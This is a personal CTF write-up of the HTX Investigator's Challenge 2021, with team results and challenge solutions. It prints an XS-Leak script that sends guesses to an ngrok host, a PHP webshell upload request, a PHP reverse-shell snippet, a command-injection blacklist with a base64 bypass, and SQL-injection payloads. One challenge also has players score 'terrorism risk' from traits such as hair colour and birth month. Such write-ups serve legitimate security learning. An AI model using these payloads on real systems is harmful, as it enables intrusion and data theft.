HTX Investigator's Challenge 2021

Introduction

The HTX Investigator's Challenge is a Singaporean CTF competition hosted by the Home Team Science and Technology Agency (HTX).
The event ran for 12 hours from 8am to 8pm on 20 December 2021, and included various cybersecurity challenges.

Results

TL;DR

My team, Social Engineering Experts, topped the scoreboard, with a total of 43,380 points.

The Long Story

We didn't qualify for the prizes due to eligibility criteria. The official champions for the HTXIC 2021 are the good folks from T0X1C V4P0R.
Since this has already sent some shockwaves in the local CTF community, and will inevitably lead to more questions in the next few days, I thought I'd spend some time writing about the situation and addressing some anticipated questions.
The eligibility criteria for the HTXIC challenge are as follows.
The team comprised of 5 members currently serving our National Service (NS) with the army, and all of us were Junior College (JC) graduates.
We were not 100% sure whether Institutes of Higher Learning included Junior Colleges, and seeing our friends who are also currently serving NS - but having graduated from polytechnics - signing up, we were eager to participate as well.
We decided to put in our registration regardless, declaring our JCs and year of graduation (2019) in the registration form, with the assumption that the shortlisting process would take the eligibility criteria into consideration.
Post-CTF, we found out that we were ineligible for the challenge. However, the organizers have allowed us to claim that we emerged "top of the scoreboard".

Personal Thoughts

Overall, we did have fun with HTXIC. The people we met at HTX have been nothing but nice to us and were receptive to our feedback.
We mentioned that we would love to see more local CTFs that cater to NSFs like us, and hope that future CTFs could consider this.

Writeups

I've added brief writeups for some challenges.
This challenge required us to find out the account balance of the admin.
Looking carefully at the responses received from the web application, we would realise that the /checkbalance endpoint is vulnerable to a class of vulnerabilities known as XS Leaks.
If the queried amount is more than the actual balance in the user's account, the user is redirected. Otherwise, no redirection occurs. It would be possible to get the length of the window's history to check whether this redirection is occurred, allowing us to perform an "XS Search" on the user's account balance.
To obey the Same Origin Policy (SOP), we would need to do the following:
  1. 1.
    From the exploit server, open http://10.8.201.87:5000/checkbalance?amount=${num} as a new window.
  2. 2.
    Wait for the site to load. Depending on the balance, the window may be redirected to /.
  3. 3.
    Change the window's location back to the exploit server, so that both the original and new windows are of the same origin
  4. 4.
    We can now check the window's history.length attribute to determine if a redirect occurred in step 2.
After some trial and error, here's my final script.
1
<html>
2
<body>
3
<script>
4
​
5
const sleep = (ms) => {
6
return new Promise(resolve => setTimeout(resolve, ms));
7
}
8
​
9
const tryNumber = async (num) => {
10
​
11
let opened = window.open(`http://10.8.201.87:5000/checkbalance?amount=${num}`);
12
await sleep(2000);
13
opened.location = "http://24cf-115-66-128-224.ngrok.io/nothing.txt";
14
await sleep(2000);
15
console.log(opened.history.length)
16
if (opened.history.length === 3) {
17
return [false, num];
18
}
19
else {
20
return [true, num];
21
}
22
}
23
​
24
(async () => {
25
for (let i = 97280; i <= 97290; i+=1) {
26
tryNumber(i).then(res => {
27
let [success, guess] = res;
28
console.log(guess, success);
29
if (success === true) {fetch("http://24cf-115-66-128-224.ngrok.io/" + `${guess}`)}
30
})
31
}
32
})();
33
</script>
34
</body>
35
</html>
Copied!
On line 25, I started with larger intervals, then slowly narrowed down the exact value by decreasing the interval range.

Chained Web Challenges (SQLi, RCE)

The Tenant and Management login pages were both vulnerable to SQL injection.
Using SQLMap, we could dump the users table in the database.
1
+-----+----------------+---------+------------+----------------+
2
| id | name | role | password | username |
3
+-----+----------------+---------+------------+----------------+
4
| 100 | theadmin | admin | madeira101 | theadmin |
5
| 200 | ahhong | manager | manager101 | MANAGER |
6
| 300 | HTX{Admin_101} | vendor | vendor101 | HTX{Admin_101} |
7
+-----+----------------+---------+------------+----------------+
Copied!
Taking a closer look at the users, we could see that each one has a different role. Logging in as different users allows us to perform various actions. As the vendor user, we have the ability to add to the food listing.
This allows us to upload an image, and the validation for this is flawed. It seemed to be checking for the existence of the .jpg extension, but using .jpg.php passes this check and allows us to upload a PHP webshell that we can access at http://10.8.201.87/HTXIC/vendor/images/.
1
POST /HTXIC/vendor/doaddFoods.php HTTP/1.1
2
Host: 10.8.201.87
3
Content-Length: 504
4
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryTeHcGQrvcC6GYyC2
5
Cookie: PHPSESSID=6co2q20vqh580a4uae4gpq3grl
6
Connection: close
7
​
8
------WebKitFormBoundaryTeHcGQrvcC6GYyC2
9
Content-Disposition: form-data; name="name"
10
​
11
​
12
------WebKitFormBoundaryTeHcGQrvcC6GYyC2
13
Content-Disposition: form-data; name="price"
14
​
15
​
16
------WebKitFormBoundaryTeHcGQrvcC6GYyC2
17
Content-Disposition: form-data; name="description"
18
​
19
​
20
------WebKitFormBoundaryTeHcGQrvcC6GYyC2
21
Content-Disposition: form-data; name="image"; filename="pwned.jpg.php"
22
Content-Type: image/jpeg
23
​
24
<?php system($_GET['cmd']); ?>
25
------WebKitFormBoundaryTeHcGQrvcC6GYyC2--
Copied!
Using a PHP reverse shell payload, we were able to get a bash shell into the system.
1
$sock=fsockopen("LHOST", LPORT);
2
$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);
Copied!
The systemctl binary had the SUID bit set, allowing us to escalate to root privileges by creating a service.

Revo Web App

Performing a directory scan reveals that there is a /cmd.php endpoint.
This seems to allow us to perform command injection, but there appears to be a blacklist filter. Fortunately, the cat cmd.php command works, allowing us to view the blacklist.
1
<?php
2
function test_input($data) {
3
$str1 = "%44";
4
$data2 = append_string ($str1, $data);
5
return $data2;
6
}
7
8
function display()
9
{
10
$bl = array("/",";","@","\","\/\/");
11
$input = $_POST["cmd"];
12
$input = str_replace($bl, "", $input);
13
$bl2 = array("curl","shutdown","init","systemctl","ps","ls","etc");
14
$input = str_replace($bl2, "", $input);
15
$output = shell_exec($input);
16
echo $output;
17
}
18
if(isset($_POST['submit']))
19
{
20
display();
21
}
22
?>
Copied!
To overcome the blacklist, we used a base64-encoded payload, which is then decoded by Python on the server.
1
import base64
2
​
3
PAYLOAD = b"cat /home/bobby/flag.txt"
4
​
5
encoded = base64.b64encode(PAYLOAD)
6
print(encoded)
7
​
8
command = "python3 -c '__import__(\"os\").system((__import__(\"base64\").b64decode(\"" + encoded.decode() + "\")))'"
9
print(command)
Copied!

Web 101

There is a blacklist filter for # and =. Using test' or 1-- - gives us account credentials, but logging in with these does not give us the flag.
We could use a UNION based injection to dump the database and get the flag.
username=test' or 1 UNION SELECT *, null from flag-- -&password=test' or 1 UNION SELECT *, null from flag-- -

Find the Malicious Attacks by Revo Force

We were given CSV files containing network traffic data, as well as a shapefile containing cameras in Singapore. We are tasked to find where most of the attacks are originating from, and the number of cameras within a 1.3km radius.
First, we obtain the most common src_ip, and find its corresponding latitude and longitude.
1
import os, csv
2
​
3
SRC_IP_COL = 9
4
LABEL_COL = 14
5
​
6
files = [x for x in os.listdir() if x.endswith('.csv')]
7
results = {}
8
​
9
for file in files:
10
with open(file, newline='') as csvfile:
11
reader = csv.reader(csvfile, delimiter=',', quotechar='"')
12
for row in reader:
13
src_ip, label = row[SRC_IP_COL], row[LABEL_COL]
14
# print(src_ip, label)
15
​
16
if label == 'malicious':
17
print(file)
18
if src_ip in results:
19
results[src_ip] += 1
20
else:
21
results[src_ip] = 1
22
​
23
print(results)
24
print(max(results.items(), key=lambda x: x[1]))
Copied!
After, we can parse the shapefile using geopandas, and use the haversine formula to determine the great-circle distance between each camera and the src_ip location based on the latitude and longitudes.
1
import geopandas as gpd
2
from math import radians, cos, sin, asin, sqrt
3
​
4
​
5
def haversine(lon1, lat1, lon2, lat2):
6
"""
7
Calculate the great circle distance between two points
8
on the earth (specified in decimal degrees)
9
"""
10
# convert decimal degrees to radians
11
lon1, lat1, lon2, lat2 = map(radians, [lon1, lat1, lon2, lat2])
12
​
13
# haversine formula
14
dlon = lon2 - lon1
15
dlat = lat2 - lat1
16
a = sin(dlat/2)**2 + cos(lat1) * cos(lat2) * sin(dlon/2)**2
17
c = 2 * asin(sqrt(a))
18
r = 6371 # Radius of earth in kilometers. Use 3956 for miles
19
return c * r
20
​
21
​
22
LAT = 1.327187
23
LONG = 103.946316
24
RADIUS = 1.3
25
​
26
shapefile = gpd.read_file("SPF_DTRLS.shp")
27
print(shapefile)
28
​
29
count = 0
30
for row in shapefile.itertuples():
31
lat2, long2 = row.LATITUDE, row.LONGITUDE
32
a = haversine(LONG, LAT, long2, lat2)
33
​
34
print('Distance (km) : ', a)
35
if a <= RADIUS:
36
count += 1
37
​
38
print(count)
Copied!

Identifying High-Risk Individuals

You are given a dataset consisting the basic information of a list of individuals (refer to DATABASE_FINAL). Some of these individuals have been identified to participate in terrorism related activities.
Using the dataset, fit a model identifying FINAL_OUTCOME =1 using all the variables (refer to variable list). Using the fitted model, apply it on the list of Grand Prix participants to screen out the top 5 individuals who are likely to participate in terrorism related activities based on the highest probabilities score (refer to GRAND_PRIX_DATA).
I initially tried to train my own model from scratch, but I realised that the fitted model coefficients were already given to us. (what was the point of the training data then?)
We could thus simply create a simple linear regression model:
y=Ξ²0+Ξ²1X1+Ξ²2X2+...+Ξ²nXny=\beta_0+\beta_1X_1+\beta_2X_2+...+\beta_nX_n
Prepare for some ugly hardcoding...
1
INTERCEPT = 2.4172534
2
​
3
def predict(row):
4
score = INTERCEPT
5
score += -0.0520673 * row.AGE
6
score += -0.0005561 * row.DISTANCE_FROM_CENTRAL
7
8
if row.HAIR_COLOUR == 1:
9
score += -1.02074
10
elif row.HAIR_COLOUR == 2:
11
score += -1.4958285
12
elif row.HAIR_COLOUR == 3:
13
score += -0.928573
14
elif row.HAIR_COLOUR == 4:
15
score += -1.0712868
16
elif row.HAIR_COLOUR == 5:
17
score += -1.4369646
18
elif row.HAIR_COLOUR == 6:
19
score += -0.9730892
20
21
if row.LEFT_HANDED == 1:
22
score += -1.1364604
23
24
if row.BIRTH_MONTH == 1:
25
score += 0.3812858
26
elif row.BIRTH_MONTH == 2:
27
score += 0.4879133
28
elif row.BIRTH_MONTH == 3:
29
score += -1.0803552
30
elif row.BIRTH_MONTH == 4:
31
score += -1.0529952
32
elif row.BIRTH_MONTH == 5:
33
score += -0.5742308
34
35
if row.MARITAL == 1:
36
score += -0.9297885
37
elif row.MARITAL == 2:
38
score += -0.2871768
39
40
if row.DATABASE == 1:
41
score += 1.6900339
42
43
return score
Copied!
What's curious though, was that the numerical variables weren't normalized. I initially normalized both the numerical variables, but only after much trial and error did I arrive at the "correct" model.
1
xl_file = pd.ExcelFile("/kaggle/input/htx-database/GRAND_PRIX_DATA_FINAL_Revised.xlsx")
2
test = xl_file.parse("Sheet 1")
3
​
4
results = []
5
for row in test.itertuples():
6
results.append((predict(row), row.SERIAL_NO))
7
8
print(sorted(results, key=lambda x: x[0], reverse=True)[:5])
Copied!

c0deD ME5sages

We are given the string:
%109y69&o1#01U11_6(v32%E1,&01^[email protected]$1!6n32\T1#16!R10%4i&114!c69.K_1!01~e*@d
Extracting only alphabetical characters yields yoUvEbEenTRicKed. However, between these letters are numbers that represent ASCII codes.
1
import string
2
​
3
encoded = "%10*9y69&o1#01U11_6(v32%E1,&01^[email protected]$1!6n32\T1#16!R10*%4i&114!c69.K_1!01~e*@d"
4
​
5
result = ''
6
curr_num = ''
7
for char in encoded:
8
if char in string.digits:
9
curr_num += char
10
11
elif char in string.ascii_letters:
12
if curr_num:
13
result += chr(int(curr_num))
14
curr_num = ''
15
​
16
print(result)
Copied!
The decoded message is mEet eXit thrEe.